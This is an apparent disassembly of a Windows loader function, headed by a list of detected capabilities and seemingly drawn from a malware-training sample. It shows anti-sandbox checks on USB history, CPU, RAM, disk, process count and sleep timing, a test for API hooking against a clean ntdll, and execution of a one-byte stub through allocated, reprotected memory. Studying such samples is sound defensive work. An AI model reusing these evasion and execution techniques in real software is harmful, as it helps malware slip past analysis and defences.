Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via indirect call
Get file size
Get memory capacity
Get system information on windows
Link many functions at runtime
Query or enumerate registry key
Read file via mapping

Disassembly:
push rbp
mov eax, 0x1230
call fcn.140003870
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.C:WindowsSystem32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x1198], rax
mov rax, qword [rbp + 0x1198]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x1194], eax
mov rax, qword [rbp + 0x1198]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
call rax
mov qword [rbp + 0x1188], rax
mov rax, qword [rbp + 0x1188]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x1180], rax
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1180]
mov qword [rbp + 0x1178], rax
mov rax, qword [rbp + 0x1178]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1170], rax
mov rax, qword [rbp + 0x1170]
add rax, 0x18
mov qword [rbp + 0x1168], rax
mov rax, qword [rbp + 0x1168]
mov eax, dword [rax + 0x70]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1160], rax
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1158], rax
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1150], rax
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1148], rax
lea rax, [0x14000b08c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtCreateThreadEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1140], rax
cmp qword [rbp + 0x1140], 0
jne 0x1400018e0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_obtain_address_for_NtCreateThreadEx_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
mov rax, qword [0x1400100c8]
mov qword [rbp + 0x11a8], rax
mov dword [rbp + 0x11a4], 0
jmp 0x140001998
mov eax, dword [rbp + 0x11a4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1150]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1138], rax
mov rax, qword [rbp + 0x1138]
mov r8d, 0x10
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140001991
mov eax, dword [rbp + 0x11a4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1148]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1158]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x11a8], rax
jmp 0x1400019b0
add dword [rbp + 0x11a4], 1
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x18]
mov edx, dword [rbp + 0x11a4]
cmp edx, eax
jb 0x1400018fd
mov rax, qword [rbp + 0x11a8]
cmp rax, qword [rbp + 0x1140]
jne 0x1400019e4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Found_function_is_the_same_as_the_original_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
lea rax, [rbp + 0x10b0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.SYSTEMControlSet001EnumUSBSTOR
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
test eax, eax
setne al
test al, al
je 0x140001a29
mov eax, 0
jmp 0x1400020cb
mov rax, qword [rbp + 0x10b0]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x10ac]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
call rax
test eax, eax
setne al
test al, al
je 0x140001aab
mov eax, 0
jmp 0x1400020cb
mov eax, dword [rbp + 0x10ac]
test eax, eax
jne 0x140001abf
mov eax, 0
jmp 0x1400020cb
lea rax, [rbp + 0x1070]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x1090]
mov dword [rbp + 0x1134], eax
cmp dword [rbp + 0x1134], 1
ja 0x140001af1
mov eax, 0
jmp 0x1400020cb
mov dword [rbp + 0x1030], 0x40
lea rax, [rbp + 0x1030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
test eax, eax
sete al
test al, al
je 0x140001b21
mov eax, 0
jmp 0x1400020cb
mov rax, qword [rbp + 0x1038]
shr rax, 0x14
mov dword [rbp + 0x1130], eax
cmp dword [rbp + 0x1130], 0x7ff
ja 0x140001b48
mov eax, 0
jmp 0x1400020cb
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x1128], rax
mov rax, qword [rbp + 0x1128]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x100c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x1010]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
test eax, eax
sete al
test al, al
je 0x140001bec
mov eax, 0
jmp 0x1400020cb
mov rax, qword [rbp + 0x1010]
mov edx, dword [rbp + 0x101c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x1020]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x1024]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x1124], eax
cmp dword [rbp + 0x1124], 0x63
ja 0x140001c42
mov eax, 0
jmp 0x1400020cb
lea rdx, [rbp - 4]
mov rax, rbp
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sym.K32EnumProcesses
test eax, eax
sete al
test al, al
je 0x140001c6c
mov eax, 0
jmp 0x1400020cb
mov eax, dword [rbp - 4]
shr eax, 2
mov dword [rbp + 0x1120], eax
cmp dword [rbp + 0x1120], 0x31
ja 0x140001c8b
mov eax, 0
jmp 0x1400020cb
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x1118], rax
lea rax, [0x14000b08c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtDelayExecution
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1110], rax
mov qword [rbp - 0x10], 0xffffffffc4653600
mov r8, qword [rbp + 0x1110]
lea rax, [rbp - 0x10]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x1108], rax
mov rax, qword [rbp + 0x1108]
sub rax, qword [rbp + 0x1118]
cmp rax, 0x1869f
ja 0x140001d19
mov eax, 0
jmp 0x1400020cb
mov ecx, 0xf4240
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x14000b08c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.PUserSharedData
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1100], rax
lea rax, [0x14000b08c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.PUserSharedData0x3a0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10f8], rax
lea rax, [0x14000b08c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.PUserSharedData0x3a4
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov dword [rbp + 0x10ec], eax
mov rax, qword [rbp + 0x1100]
mov eax, dword [rax]
mov rdx, qword [rbp + 0x10f8]
mov edx, dword [rdx]
shl edx, 8
imul edx, eax
mov rax, qword [rbp + 0x10f0]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x1100]
mov eax, dword [rax]
mov eax, eax
imul rax, rcx
shr rax, 0x18
add eax, edx
mov dword [rbp + 0x10e8], eax
mov eax, dword [rbp + 0x10ec]
sub eax, dword [rbp + 0x10e8]
cmp eax, 0x64
jbe 0x140001e30
mov eax, dword [rbp + 0x10e8]
sub eax, dword [rbp + 0x10ec]
cmp eax, 0x64
jbe 0x140001e30
mov eax, 0
jmp 0x1400020cb
mov byte [rbp - 0x11], 0x90
mov r9d, 0x40
lea r8, str.Summer_2022_Summit
lea rax, str.Sektor7
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x10e0], rax
cmp qword [rbp + 0x10e0], 0
jne 0x140001ead
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_allocate_memory_for_destinationBuffer_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
mov rax, qword [rbp + 0x10e0]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQuery]
call rax
test rax, rax
setne al
test al, al
je 0x140001f08
movzx edx, byte [rbp - 0x11]
mov rax, qword [rbp + 0x10e0]
mov byte [rax], dl
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x10d8], rax
cmp qword [rbp + 0x10d8], 0
jne 0x140001f50
jmp 0x140001f2c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Payload_size_exceeds_destinationBuffer_size_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_handle_to_kernel32.dll_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
mov rax, qword [rbp + 0x10d8]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10d0], rax
mov rax, qword [rbp + 0x10d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10c8], rax
mov rax, qword [rbp + 0x10d8]
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10c0], rax
cmp qword [rbp + 0x10d0], 0
je 0x140001fd1
cmp qword [rbp + 0x10c8], 0
je 0x140001fd1
cmp qword [rbp + 0x10c0], 0
jne 0x140001ff5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_function_addresses_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
mov rax, qword [rbp + 0x10d0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov ecx, 0
call rax
mov qword [rbp + 0x10b8], rax
cmp qword [rbp + 0x10b8], 0
jne 0x140002049
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_allocate_memory_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x1400020cb
mov r9, qword [rbp + 0x10c8]
lea rdx, [rbp - 0x11]
mov rax, qword [rbp + 0x10b8]
mov r8d, 1
mov rcx, rax
call r9
mov r10, qword [rbp + 0x10c0]
mov rax, qword [rbp + 0x10b8]
mov r9d, 0
mov r8d, 0x20
mov edx, 1
mov rcx, rax
call r10
mov rax, qword [rbp + 0x10b8]
call rax
mov rax, qword [rbp + 0x10b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x1188]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x1230
pop rbp
ret